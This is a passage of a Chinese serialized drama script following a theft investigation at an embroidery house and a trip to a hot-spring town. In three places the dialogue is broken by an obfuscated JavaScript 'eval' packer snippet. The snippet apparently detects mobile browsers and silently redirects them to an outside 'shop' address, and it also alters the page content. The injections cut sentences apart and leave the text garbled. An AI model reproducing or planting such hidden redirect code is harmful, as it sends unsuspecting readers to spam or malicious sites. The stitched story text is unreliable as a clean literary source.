路易:啧啧!欧阳姑娘,你对咱们家的翠儿可真是太够意思了! 欧阳兰兰:嘻嘻!这算什么呀?以后但凡有用得上我的地方,尽管开口!别的不敢说,但在梁州这个地方,谁也不能说不给咱们欧阳世家面子! 路易:能交上你这么一位朋友,咱们家的翠儿可真有福啊!哈哈! 欧阳兰兰:(对着众家丁)你们几个给我听清楚了!翡翠公子让你们干什么,你们就干什么,绝对不能说一个不字!若让我知道你们不好好干、或者跟翡翠公子对着干的话,你们的工钱,可就别想拿了! 众家丁:是!小姐!我们一定听翡翠公子的话,好好地干活儿! 趁着欧阳兰兰跟家丁们说话的工夫,路易轻声问翡翠。 路易:翠儿,你不是从来不受嗟来之食吗? 翡翠:(叹了口气)唉,没办法!谁让我现在一无所有呢! 余守泰:(对着花匠们)瞧见没?人家翡翠公子的身边根本不缺人手!你们若想走,我也不拦着你们。这笔钱到底是挣还是不挣,你们自己看着办吧!唉!阿嚏! 众花匠:(互相对望了一眼,悻悻地)唉!走吧走吧,去干活儿! 梁州,凤凰城 5-60 督察府,张正清的屋子(日,内) 人物:张正清、钱知县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007396|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一大早,春晖城的钱知县又来找张正清了。 钱知县:(作礼)张大人! 张正清:钱大人?你怎么这么早就来了?有事吗? 钱知县:张大人,昨日在春晖城,又发生了一桩十分蹊跷的盗窃案。 张正清:(没好气地)该不会又是辉月阁吧? 钱知县:咦,张大人,您怎么知道呀? 张正清:这次又丢了什么?还是罗汉图吗? 钱知县:不是罗汉图,而是珠宝,满满的一大箱呢! 张正清:不用说,肯定又是逆千帆干的了。 钱知县:案发现场留有一张字条,上面写着“逆千帆到此一游”。 张正清:(冷笑一声)这个逆千帆,是不是不识数啊?都已经来过两趟了,还说“到此一游”呢! 钱知县:大人!邱老板说上次罗汉图是您帮她找回来的,所以这次她还是想请您…… 张正清:(顿时恼了)她说让我去我就去呀?当本官是什么了?督察府里又不是只有这一个案子要办!你回去告诉她,既然是逆千帆干的,那就等本官抓住逆千帆之后,再通知她过来领赃!哼! 钱知县:(见张正清发火,不敢多言,忙点头答应)是,大人! 梁州,春晖城 5-61 辉月阁,邱红叶的屋子(日,内) 人物:邱红叶、管家 得知张正清不肯来,邱红叶恼火不已。 邱红叶:这些首饰可是我多年的珍藏,每一样都十分贵重,他们怎么可以如此敷衍? 管家:唉,是啊!督察大人不肯来,知县大人又不敢管,怎么办呢? 邱红叶眯起眼睛,将管家上下打量了一番,发出一声冷笑。见她这样,管家顿时慌了。 管家:夫人,您……您怎么了? 邱红叶:我问你,上次那个“逆千帆到此一游”的主意,是谁出的? 管家:(结结巴巴地)是……是我。 邱红叶:那么这次的事,会不会也是你干的? 管家:(大惊失色)冤枉啊,夫人!我怎么敢偷您的东西呀? 邱红叶:(冷笑一声)那可不好说!你在我身边这么多年,那间密室你也去过不少回,里面有什么东西,你比我更清楚。上次的那件事,权当是一个玩笑;但这次的这件事,肯定是一场阴谋! 管家:阴谋?不不不!夫人,您弄错了!真的不是我呀! 邱红叶:肯定是你!(一把揪住管家)哼!把那些珠宝给我交出来! 管家:夫人!辉月阁上上下下这么多人,您为何只怀疑我呀?那些绣娘、还有那些宾客,都有可能会偷您的东西呀! 邱红叶:故技重施是吧?我可不是督察大人,没那么容易被你糊弄!你若再不说的话,我就把你送去钱大人那里,让他来治你的罪! 管家:不要啊!夫人,我真的没偷您的东西呀!您就算是杀了我,我也交不出来呀! 邱红叶:敬酒不吃吃罚酒!来人,把这个贱人送去县衙里! 梁州,凤凰城 5-62 众康医馆,走廊上(日,内) 人物:贤晴、路易 在众康医馆的这段日子,贤晴对冷梦和安琦都十分客气,唯独对路易不理不睬,这令路易十分不解。眼看着瑶瑶病愈,姐妹俩马上要离开了,路易忍不住问贤晴。 路易:贤晴姑娘,在你离开这里之前,有件事我想问问你。 贤晴:什么事?您说。 路易:贤晴姑娘,给你妹妹治病的又不是只有冷大夫和安大夫,为何你对他俩那般热情、对我又这般冷漠呢? 贤晴:(脸微微一红)我…… 路易:怎么?你有什么难言之隐吗? 贤晴:(欲言又止)这…… 路易:有什么话你尽管说,我不生气。 贤晴:其实,在来这里之前,洛姑娘曾经叮嘱过我。 路易:她说什么? 贤晴:她说,如果众康医馆里那位名叫路易的大夫跟你套近乎的话…… 路易:怎样? 贤晴:千万别搭理他! 路易:原来如此!(哈哈大笑) 50. 第五篇 丢失的罗汉图 梁州,凤凰城 5-63 督察府,洛宁和田佳的屋子(日,内) 人物:张正清、田佳 半天没见着洛宁,张正清心中纳闷,便问田佳。 张正清:田佳,那丫头呢?怎么没看见她的人影儿? 田佳:她今天请假了。 张正清:请假了?我怎么不知道? 田佳:她一大早去春晖城了,还是银华过来帮她请的假。 张正清:去春晖城?干什么呀? 田佳:她跟冷大夫一块儿去的,说是想探望一下那个叫瑶瑶的小姑娘。 张正清:跟冷大夫一块儿去的?! 田佳:对呀,怎么了?老大,你看上去好像不太高兴呀! 张正清:(恼火地)没经过我的同意,说不来就不来,这是什么工作态度? 田佳:(拿出一沓纸)老大,这是银华托我转交给你的。 张正清:什么东西? 田佳:大忏悔文呀,宁儿已经抄好了。 张正清:抄好了?抄了多少遍? 田佳:我数过了,不多不少,正好十遍。 张正清:才十遍?你告诉她,若没有一百遍大忏悔文,休想进咱们督察府的门!哼! 梁州,春晖城 5-64 贤晴家(日,内) 人物:冷梦、洛宁、贤晴、瑶瑶、美兰 到了贤晴家,冷梦先给瑶瑶检查了一番,发现她恢复得挺不错,众人这才放下心来。 贤晴:冷大夫,这次的事情可真要谢谢您了! 冷梦:没事儿,我也是给朋友帮忙。 洛宁:贤晴,等瑶瑶好了之后,你带她四处逛一逛,小孩子不能总待在家里,要出门去长长见识。 贤晴:(点点头)嗯,我也正有这个打算。之前她一直说想去京城,可惜我没空,如今我已向邱老板告了长假,可以好好地陪陪她了。 洛宁:嘻嘻,瑶瑶有你这个姐姐,可真幸福! 寒暄了一会儿,洛宁和冷梦起身告辞,贤晴先是犹豫了一下,又叫住冷梦。 贤晴:冷大夫,请等一下。 冷梦:有事吗? 贤晴:(从柜子里取出一包东西,双手递给冷梦)这个……请您收下。 冷梦:什么东西? 贤晴:是……瑶瑶的诊金和药费。 冷梦和洛宁互相对望了一眼。 洛宁:贤晴,你不是手头很紧吗? 贤晴:哦,是这样的。我的一个远房亲戚,听说了瑶瑶的事,答应先借给我这笔钱,等日后我再慢慢还给她。 洛宁:(突然发问)你的这个远房亲戚,该不会就是美兰吧? 贤晴一惊,手里的东西差点儿掉在地上。洛宁见状,微微一笑。 洛宁:美兰在口供里说,你是她的师傅…… 贤晴:(急忙辩解)这件事跟美兰无关! 洛宁:哪件事? 贤晴:我…… 洛宁:贤晴,你果然不太会撒谎啊! 厨房的门开了,美兰从里面走了出来。见到她,贤晴越发显得不安,反倒是洛宁,先冲着她笑了起来。 洛宁:美兰,你也在这里呀,我正打算去辉月阁找你呢! 美兰:(冷冷地)我如今已不在辉月阁了。 洛宁:(点点头)嗯,意料之中。(对着冷梦)冷大夫,你再等会儿,我跟美兰有点儿事情要谈。 5-65 贤晴家(日,外) 人物:洛宁、美兰、贤晴 洛宁和美兰在院子里交谈,贤晴虽然人在屋里,眼睛却紧张地盯着她们。 美兰:你有什么事,不妨直说。 洛宁:十日前,在辉月阁里又发生了一桩盗窃案,你应该知道吧? 美兰:知道。 洛宁:辉月阁的管家被当成了贼,送进了县衙里。 美兰:那又如何? 洛宁:你跟她有什么仇,为何要这样陷害她? 美兰:(先是一怔,又回过头,盯着洛宁看了会儿,发出一声冷笑)我听不懂你在说什么。 洛宁:阁楼上的那些线条,是你抹掉的吧? 美兰:什么阁楼?我不知道你在说些什么。 洛宁:(从身上的荷包里,掏出一样东西,递给美兰)你抹掉了那些线条,却忘记了这个。 美兰低头一看,竟是一撮黄白黑三色的猫毛。她的眼睛红了,嘴唇微微颤抖起来。 美兰:你在哪里找到的? 洛宁:阁楼的柜子下面。 美兰:仅凭这个,想替管家洗刷冤屈,怕是不太容易。 洛宁:贤晴的那笔钱从何而来,查一查不就知道了。 美兰:你今天来这里,到底想干什么?如果想抓我的话,我可以跟你走,但邱老板的东西,我是绝对不会还给她的。 洛宁:为何? 美兰:这是她欠我们的! 洛宁:你和贤晴,都是辉月阁的绣娘,你们的手艺虽好,收入却十分微薄。但不只是你们,所有的绣娘都是如此。 美兰:你怎么不问问邱红叶,她都干了些什么呢? 洛宁:我去问她的话,她肯定不会承认,所有我只好来问你了。 美兰:她杀了我的猫。 洛宁:那只三花猫吗?看得出你对它十分偏爱,你的很多绣品里都有它。 美兰:绣坊里禁止养猫,可我就是喜欢猫,经常会去野外喂一些流浪猫,而这只三花猫,就是其中的一个。它与别的猫不同,非常通人性,总是在我去找它们的时候,第一个出现在我面前,又在吃完东西之后,最后一个离开。它对我恋恋不舍,我也对它越发珍爱。有一次它受了伤,我便悄悄地把它带回绣坊,养在了阁楼里。它很乖,从来不叫,所以在很长的一段日子里,大家都不知道它的存在。我原打算治好了它的伤,就把它放归野外,可我试过几回,它都不肯走,又或者送走了之后,又偷偷地溜回来。最后,我只能先把它留在身边。 洛宁:后来呢?还是被她们发现了? 美兰:(点点头)没错。只可惜我把一切想得太简单了!我原以为此事若被撞见了,顶多就是挨一顿骂、把猫赶走了事。谁知道邱红叶却不肯放过它,说它已经在绣坊里住惯了,赶走之后肯定还会再回来,于是便让管家用棍子把它打死了。 洛宁:唉,好歹是一条性命,何苦呢? 美兰:我还清楚地记得它的惨叫声,它的身上到处都是血,眼睛瞪得大大的,似乎还不明白自己错在哪里……(哽咽)也许对她们来说,它只是一个畜牲,可对我来说,它就像我的朋友、我的亲人一样,只有养过猫的人,才会懂得那种感情。 洛宁:所以说,你自那之后,便再不肯绣猫了。 美兰:(点点头)嗯。 洛宁:唉,真是造孽呀! 美兰:她们干的坏事又何止这一件!贤晴之所以绣不出东西,不是因为她没空,而是因为邱老板唆使管家、给她安排一大堆的杂活儿。而这一切,皆是因为…… 贤晴:(从屋里冲出来)美兰!别说了! 美兰:为何不能说?咱们受的委屈还不够吗?她让你去给京城来的官爷做小,你不肯答应,所以她就故意使绊子,明知道你很缺钱,却就是不让你绣东西。还有朵馨,她才是我们中间最可怜的一个! 洛宁:朵馨姑娘?她又是怎么回事? 美兰:她的性子太弱了,当初若不去见那个人,就不会落得如此悲惨的下场。 洛宁:那个人?谁? 贤晴:我们也不清楚,只听朵馨提起过,好像是一位来自梅州的富家公子。那日,邱老板派朵馨去给他送些东西,结果…… 洛宁:朵馨身上的伤,是不是因为他? 贤晴:(点点头)正是。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007397|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >美兰:(咬牙切齿地)可惜我不知道这个混蛋是谁,不然的话,我一定割下他的舌头,替朵馨报仇! 洛宁:这个邱老板,还真是罪无可恕呀! 贤晴:洛姑娘,如今你已经知道了我们的事情,张督察若要追究的话…… 洛宁:他今天没来。 贤晴和美兰互相对望了一眼,都有些不太明白。 洛宁:我今天来这里是为了看瑶瑶,又不是为了办案。 美兰:洛姑娘,你到底是什么意思?你不抓我们吗? 洛宁:偷珠宝的贼,不是已经被抓住了吗? 贤晴:可是…… 洛宁:可是什么呀?瑶瑶还需要你照顾呢!等她长大了,千万别让她受你们这样的苦! 贤晴:(掉眼泪)洛姑娘,你这样做,行吗?如果日后张督察追究起来,岂不是连你也带累了? 洛宁:(耸耸肩)唉,大不了多抄几遍大忏悔文了。 美兰:你真打算放过我们? 洛宁:邱老板那么有钱,哪里会在乎这点儿珠宝?密室里还有那么多绣品,足够她显摆了!至于你们,离开了辉月阁,也该过上几天好日子了! 美兰:你真的这么想?你可是督察府的人呐! 洛宁:督察府的人也是人,草木尚且有情,更何况人呢! 贤晴:洛姑娘,你不怕我们骗你吗? 洛宁:嗯,也是呀!(从贤晴的手里接过那包钱)为防万一,这个我们就收下了。要知道,骗子可不会付钱! 梁州,郊外 5-66 马车车厢(日,内) 人物:洛宁、冷梦 回去的路上,洛宁问冷梦。 洛宁:冷大夫,刚才我们几个在外面说话的时候,我听见瑶瑶在屋里笑得很开心,你俩在干什么? 冷梦:我们在玩游戏。 洛宁:玩游戏?什么游戏?过家家吗? 冷梦:瑶瑶和别的小孩子不太一样,她不爱玩这个。 洛宁:那她爱玩什么? 冷梦:在医馆时,路易曾说给她买个布娃娃解闷儿,她不肯要,只让她姐姐给她削了几根竹签,天天拿着玩。 洛宁:竹签?怎么玩?打卦吗? 冷梦:跟那个有点儿像。她说长的竹签是一个数、短的竹签是半个数,粗的那一头是左、细的那一头是右,这些竹签若按照一定的顺序排列起来,那么根据前面的几个数就能很容易地推算出后面的几个数。瑶瑶很聪明,不管竹签怎么排列,她都能发现其中的规律。我听她姐姐说,她在这方面颇有些天赋。若不是因为得了那个病,这会儿早就去念书了。 洛宁(内心独白):(听着听着,不禁笑了起来)呵呵,邱老板怎么也想不到,那扇门的秘密,居然被一个小孩子给破解了…… 冷梦:你在想什么?为何发笑? 洛宁:这一次,贤晴她们能脱离苦海,瑶瑶可是帮了大忙哟! 梁州,凤凰城 5-67 督察府,洛宁和田佳的屋子(日,内) 人物:张正清、田佳 见洛宁依旧没来,张正清又问田佳。 张正清:田佳,那丫头呢?怎么还没来? 田佳:哦,她早上来过了,我让她回去了。 张正清:你让她回去了?!田佳,咱们督察府的老大是谁?是你还是我? 田佳:老大!不是你说若没有一百遍大忏悔文、就不许她进咱们督察府的门吗?我把这句话告诉了她,然后她转身就走了。 张正清:转身就走了?! 田佳:对呀,转身就走了。 张正清:什么都没说? 田佳:什么都没说。 张正清:(火冒三丈)岂有此理!她还想不想干了? 田佳:老大,你到底是想让她来还是不想让她来呀? 张正清:我现在只想揍她!哼! 51. 第六篇 去泡温泉吧 梁州,凤凰城 6-1 天地会总会,听雨轩(夜,内) 人物:洛青、洛宁 得知洛宁要去梅州,洛青皱起眉头。 洛青:你才从春晖城回来,又要去登丘城?不嫌累吗? 洛宁:一个在本地、一个在外地,能一样吗?再说了,登丘城可是出了名的温泉胜地,甭管有多累,只要往那温泉池子里一躺,所有的疲劳都没了! 洛青:你去归去,为何还要叫上欧阳兰兰? 洛宁:她有个亲戚在那里,我们正好可以借住在他们家。 洛青:这件事你跟顾云飞说过了吗? 洛宁:说过了。 洛青:他怎么说? 洛宁:他同意了。 洛青:他没说让银华跟你一起去吗? 洛宁:我跟欧阳兰兰是去泡温泉,他一个大男人,在那里多碍事呀! 洛青:嗯,也是。可只有你们两个人,我还是不太放心。 洛宁:好说!你跟我们一起去呗! 洛青:年底家里的事多…… 洛宁:(打断)再多的事,等回来之后再办呗!姐,你一年忙到头,也该抽空歇歇了! 洛青:(嗔怪)哼,难得你还有心疼我的时候。 洛宁:嘻嘻,那就这样说了,咱们一块儿去! 第二天,一行人便出发去了梅州,洛宁和欧阳兰兰坐在前一辆马车上,洛青和洛思思坐在后一辆马车上。 梁州,郊外 6-2 马车车厢(日,内) 人物:洛宁、欧阳兰兰 欧阳兰兰望着洛宁嘻嘻一笑。 欧阳兰兰:宁姐姐,年底这么忙,张督察却能准你的假,可见他对你不一般哟! 洛宁:(没好气地)欧阳兰兰,你到底想说什么? 欧阳兰兰:嘻嘻,宁姐姐,你有没有觉得张督察对你有那么一点点…… 洛宁:一点点什么?欧阳兰兰,你能不能别乱点鸳鸯啊?你想当月老的话,至少也应该找一对靠谱点儿的吧! 欧阳兰兰:你跟张督察,哪里不靠谱了? 洛宁:我问你,他在你眼里,是一个什么样的人? 欧阳兰兰:(想了想)一身正气,宁折不弯。 洛宁:我呢? 欧阳兰兰:(将洛宁上下打量了一番,摇头叹)唉,明白了,你俩不合适。 洛宁:这不就得了! 欧阳兰兰:不过话说回来,宁姐姐,就你这副样子,我还真想象不出,什么样的男人能驾驭得了你? 洛宁:驾驭?欧阳兰兰,女人又不是男人的坐骑,凭什么任由他们摆布啊? 欧阳兰兰:谁让咱们不如他们呢!自古以来,重要的东西不都掌握在他们的手里吗?女人的手里有什么?石头剪刀布吗? 洛宁:欧阳兰兰,你不是说要写书吗?怎么还没开始动笔? 欧阳兰兰:我不知道该写些什么。 洛宁:这个简单!你先想想,为何要写书? 欧阳兰兰:为了打发时间呗! 洛宁:除了这个,还有什么? 欧阳兰兰:还有……我哪知道呀! 洛宁:你是欧阳世家的千金,肯定不缺钱,写书不为别的,只为让大家都认识你。 欧阳兰兰:嘻嘻,如果能出名的话,倒也不错。 洛宁:想出名的话,就不能走寻常路。 欧阳兰兰:那也不能走旁门左道呀! 洛宁:你得写一些别人没写过的东西。 欧阳兰兰:什么呀? 洛宁:比如说,在一个女尊男卑的世界里,一切都是女人说了算。 欧阳兰兰:这也太离谱了吧?这种书就算是写出来,也没人会看呀! 洛宁:标新立异!只有这样,才能博眼球嘛! 欧阳兰兰:那行!宁姐姐,我就以你为蓝本,写一段女霸总的故事! 洛宁:等等!什么叫以我为蓝本?我有那么霸道吗? 欧阳兰兰:你连张督察都敢骂,谁能有你这么彪悍呀! 洛宁:欧阳兰兰,你不是认真的吧? 欧阳兰兰:当然了!我打算回去之后就动笔,写好了第一个拿给你看。 洛宁:(心中后悔不迭)唉,早知道我就不跟她说这个了!(嘴上却说)欧阳兰兰,你写归写,可不能乱写哟! 欧阳兰兰:怎么?你是不是怕我揭了你的短? 洛宁:欧阳兰兰,你了解我、我也了解你,揭了我的短,对你有什么好处? 欧阳兰兰:呀,也是啊,那我就不写你了。 洛宁:嘿嘿,这样才对嘛! 梁州,凤凰城 6-3 督察府,张正清的屋子(日,内) 人物:张正清、田佳 一听说洛宁去了梅州,张正清顿时恼了。 张正清:你说什么?!她去梅州泡温泉了? 田佳:我也是听银华说的。 张正清:所有人都在干活儿,她却在摸鱼,谁给她的特权? 田佳:咦,不对吧!老大,登丘城的温泉里没有鱼,太和城的温泉里才有鱼。 张正清:你连这个都知道?不用说你肯定都去过了,难怪你的脑子里灌满了水呢!哼! 田佳:(一脸的委屈)老大,你跟宁儿过不去,拿我撒什么气呀?当初你若是不让她抄一百遍大忏悔文,不就没这回事儿了! 张正清:听你这意思,全是我的错了? 田佳:不不不!不是啊,老大!我的意思是,当初你应该把话说清楚!你只说让她抄,又没说非要在家里抄,她也可以一边泡温泉一边抄嘛! 张正清:噢,我明白了,你是在羡慕她呀!是不是也想试试呀? 田佳:想归想,可惜你从来没给过我机会。 张正清:那行!你也去梅州吧,顺便跟她一起抄,反正你俩年底的红利全扣光! 田佳:啊?不要啊!老大,能不能带薪休假呀? 张正清:又想泡温泉、又想拿薪水,天底下的好事儿怎么可能全都轮到你? 田佳:我跟宁儿不一样!她不缺钱,我缺钱呀! 张正清:想挣钱是吗?好说!只要你把那丫头从梅州给我绑回来,我就把她的那份薪水发给你! 田佳:真的吗? 张正清:什么真的假的?你到底去不去? 田佳:去去去!我这就去! 梁州,郊外 6-4 客栈(日,内) 人物:洛宁、欧阳兰兰、洛青、洛思思 时至中午,一行人从马车上下来,在路边的客栈里吃饭。 欧阳兰兰:甜妞儿,你怎么也来了? 洛青:甜妞儿的肩膀以前受过伤,一到这个季节就疼痛难忍,我寻思着泡温泉或许能缓解一下,便把她也带来了。 洛宁:你把她带来了,黄毅怎么办? 洛青:(瞪了洛宁一眼)他俩还没成亲呢,有必要天天在一起吗? 欧阳兰兰:可不是嘛!若真成了亲,天天在一起的话,反倒会生厌。 洛宁:啧啧,欧阳兰兰,你果然是我们中间最清醒的一个! 洛青:她若是真清醒的话,又怎么会跟翡翠公子扯到一块儿去? 洛宁:翡翠不好吗?他哪里配不上她? 洛青:他对兰兰是真心的吗? 洛宁:(用手肘碰了下欧阳兰兰)兰兰,听见没?我姐的意思是,翡翠在骗你呢! 欧阳兰兰:(没好气地)青姐姐,虽然我知道你是为了我好,但我也不是小孩子了,他对我是真情还是假意,我能分得清楚。你呀你,就别替我操心了! 洛青:当局者迷旁观者清…… 欧阳兰兰:(不耐烦地打断)青姐姐,你怎么不问问甜妞儿,黄毅对她是不是真心的呢?他俩交往也有一段日子了,打算什么时候成亲呀? 洛思思:其实这件事我也考虑过,不过我看黄毅的样子,好像并不着急,所以我也没敢问他。 洛宁:(想都没想脱口便道)如果他一直不提怎么办? 洛青:他为何一直不提?难道他不想跟甜妞儿成亲?既如此,当初又为何与她交往? 洛宁:(意识到自己说漏了嘴)这…… 洛青:宁儿,你该不会知道些什么吧?上次我托你打听的事,已经过去这么久了,你怎么连句话都没有?怎么回事? 洛宁:唉!这都怪张大哥,他天天罚我抄什么大忏悔文,弄得我脑子里除了阿弥陀佛之外,什么都不记得了。 洛青:忘了就是忘了,别找借口!哼! 洛宁:得得得!等这次回去之后,我一定帮你把一切都弄个明白!唉! 梅州,登丘城 6-5 付府(日,外) 人物:欧阳兰兰、洛宁、洛青、洛思思、付先忧 到了登丘城,一行人先去了欧阳兰兰的亲戚家。亲戚家的房子不大,在周围一片红墙绿瓦的映衬下,显得又矮又小又破又旧。 洛思思:欧阳兰兰,你们家那么阔绰,你亲戚家怎么这般寒酸呀? 欧阳兰兰:唉,别提了!若不是因为我娘,像这种地方,别说是住了,我连看都不会看一眼! 洛青:这家人是你娘的亲戚呀? 欧阳兰兰:唉,别问了,太丢脸了! 洛思思:这有什么大不了的?谁家还没有几门穷亲戚呀! 正说着,亲戚家的门开了,从里面走出来一个三十多岁的男人,笑着朝她们迎了上来。 付先忧:欧阳妹妹,你可算是来了,我娘刚才还在念叨着你呢! 欧阳兰兰:(勉强挤出一丝笑容)付表哥,好久不见!大姨她一切可好? 付先忧:托妹妹的福,一切都好!(看见洛宁等人)哦,这几位是…… 欧阳兰兰:她们是我的朋友,这次跟我一起来登丘城游玩。 付先忧:哦,是吗?欢迎欢迎! 欧阳兰兰:付表哥,我在给你信里忘了说她们也要来,你这里住得下吗?如果住不下的话,我可以带她们去住客栈。 欧阳兰兰瞅着付先忧,心里巴不得他说住不下。其实,信里没提到洛宁等人,是她故意这么做的。 付先忧:妹妹放心!屋子我都收拾好了,别说是她们,再多来几个也照样住得下。 欧阳兰兰:(显然有些失望)哦,是吗?那床单被褥呢?是否够用?如果不够用的话…… 付先忧:够够够!床单被褥都已经洗好晒好铺好了,屋里的火盆和木炭也都备好了…… 欧阳兰兰:那种木炭烟子太大,我可受不了。幸好我来这里之前,带了些香炭过来,晚上我们就用这个了。 付先忧:唉呀,是我太疏忽了,竟没想到这一点!妹妹是个女孩子,天生娇贵,那种木炭确实不适合你们。 洛思思:其实,这边比凤凰城暖和多了,晚上也未必用得上炭火。 付先忧:呵呵,姑娘说的没错!我们这边一年四季温暖如春,即使在最冷的时候,也不过只是下薄薄的一层雪,太阳一出来就化了。 欧阳兰兰:话虽这么说,可老房子漏风,晚上若没有炭火,哪里睡得成呀! 洛青:兰兰,你表哥已经把东西都准备好了,你就别再挑三拣四了。 洛宁:是啊,兰兰!这里虽然比不上你们欧阳世家,却省去了不少繁文缛节,反倒更自在些。 付先忧:这位姑娘说得极是!欧阳妹妹,外面冷,不如先进屋烤烤火吧! 6-6 付府(日,内) 人物:付先忧、付母、欧阳兰兰、洛青、洛宁、洛思思 一行人跟着付先忧进了屋,见过他的母亲。付母一见着欧阳兰兰,便亲切地拉着她的手,嘘寒问暖。 付母:兰兰,可算是把你盼来了!让大姨瞧瞧,真是女大十八变、越变越漂亮了!呵呵!这一路上车马劳顿,一定很辛苦吧?肚子饿不饿?大姨给你做了些点心,快尝尝吧! 欧阳兰兰:(瞅了一眼桌上的点心,皱起眉头)大姨,我不饿,您自己吃吧! 洛宁:这些点心看上去挺不错呀,我来尝尝! 洛青:(瞪了洛宁一眼)宁儿,你急什么呀?人家兰兰还没吃呢! 欧阳兰兰:没关系!宁姐姐,你吃吧! 洛宁:(拿起一块点心放进嘴里,跟着不住地点头)嗯嗯,好吃!真好吃!伯母,您的手艺可真好,我大娘要是能有您这样的本事,我哥也用不着天天去外面吃饭了! 洛青:(没好气地)你哥去外面吃饭是为了谈生意,又不是因为家里的饭菜不好吃! 洛宁:可我回到凤凰城的这几年,还从来没见我大娘下过厨呢! 欧阳兰兰:宁姐姐,你们家有那么多的丫鬟婆子,哪里用得着她来亲自下厨呀!你瞧瞧我娘,不也是一样吗? 洛宁:话虽这么说,如果能为自己的家人做一顿可口的饭菜,我想每一位母亲肯定都会乐此不疲。 洛思思:说得太对了!我娘就是这样的一个人,她平常不怎么下厨,可只要一遇上我爹的寿辰和我们这些姐妹的生日,她就一定会亲自动手,从挑菜、洗菜、切菜到烧菜,样样亲力亲为,还不许旁人插手,说是怕菜不对味儿。如今回到了凤凰城,我还真有些想念她烧的菜呢! 洛宁:听见没,欧阳兰兰?在我们这些人里面,估计只有你还从来没尝过你娘烧的菜呢! 欧阳兰兰:不就是一顿饭吗?等回去之后,我让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007398|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我娘给我做一顿便是!哼! 洛宁:要我说你还是别为难你娘了,多尝尝你大姨做的点心,也是一样。 付母:是啊,兰兰!你娘是我的亲妹妹,她小的时候,还经常吃我烧的菜呢! 洛思思:噢,原来伯母您跟欧阳兰兰她娘是亲姐妹呀! 付母:是啊!在我娘家的几个兄弟姐妹里面,就数兰兰她娘跟我最为要好!当初我出嫁的时候,她哭得最凶,如今她自己也当了娘,女儿也长这么大了,真是岁月催人老呀! 付先忧:(从外面进来,问付母)娘!锅里的水已经烧开了,您看中午的这顿饭是您来做、还是儿子来做? 付母:我来做吧! 付先忧:您一个人能行吗?要不儿子来给您搭把手? 付母:用不着!兰兰好不容易来一趟,你陪她们几个唠唠嗑,做饭的事交给我了! 洛青:伯母,要不我来给您帮忙吧! 付母:这可不行!你是我们家的客人,怎么能让你动手呢! 洛宁:伯母,您尽管使唤她吧!她这个人天生闲不住,无论在哪儿都一样! 洛青:你们这几个丫头,怎么好意思让长辈来伺候你们?要我说,你们也该过来帮忙才是! 洛思思:好啊好啊!我也来! 洛青:宁儿,你呢? 洛宁:有甜妞儿给你帮忙还不够吗?我晚上再来,嘻嘻! 洛青:你这个丫头,就只会偷懒!哼! 洛青和洛思思跟着付母去了厨房。付先忧留在屋子里,又给欧阳兰兰和洛宁各斟了一杯茶。 付先忧:洛姑娘,喝杯茶吧!慢点儿吃,别噎着了! 洛宁:(嘴里塞满了点心)嗯嗯,谢谢付大哥!欧阳兰兰,你真不打算吃点儿吗?你大姨做的点心真的很好吃呢! 欧阳兰兰:你递给我一块尝尝! 见欧阳兰兰想吃,付先忧立刻拿了一块给她,欧阳兰兰接过来,小口小口地吃着。 洛宁:怎么样?是不是很好吃呀? 欧阳兰兰:唉,还不算太难吃!虽然跟我们欧阳世家的点心相比,味道还是差了那么一点点! 付先忧:呵呵,妹妹能吃得惯就行!(又把茶杯放在欧阳兰兰的面前)喝口茶吧,别噎着了! 欧阳兰兰:(瞅了一眼茶汤皱起眉头)茶色这么深,不用说一定是去年的陈茶了! 洛宁:陈茶有陈茶的好处,你不知道吗? 欧阳兰兰:什么好处? 洛宁:刚刚炒制好的新茶,不仅寒气重、火气也大,喝起来反倒伤身;经过一段日子的存放之后,寒气褪去、火气也消了,喝起来才养生呢! 欧阳兰兰:真的吗? 洛宁:当然了!在我们聚胜古都,茶客们都只喝老茶,刚上市的新茶,根本卖不出好价钱! 欧阳兰兰:宁姐姐,你又想糊弄我!这杯是绿茶,跟你们聚胜古都的茶不一样! 洛宁:眼下可是冬季,你想喝新茶的话,只能等到明年春上了! 欧阳兰兰:唉,早知道来这里之前,我该带些花茶过来。 付先忧:妹妹想喝花茶?这个好办!我们这边暖和,各种花草都长得十分茂盛。妹妹想喝哪种?我这就去给你买! 欧阳兰兰:我是女孩子,当然只喝玫瑰花了!哦,对了!你们这边有没有新鲜的玫瑰花呀? 付先忧:新鲜的玫瑰花? 欧阳兰兰:对呀!明天我们去泡温泉的时候,正好可以放一些在水里。 付先忧:哦,这样啊!那行!你们先坐着,我这就去找花农问问。(说着便出门去了) 洛宁:欧阳兰兰,你可真能折腾呀!他是你的表哥,又不是你府里的下人,你这样使唤他,合适吗? 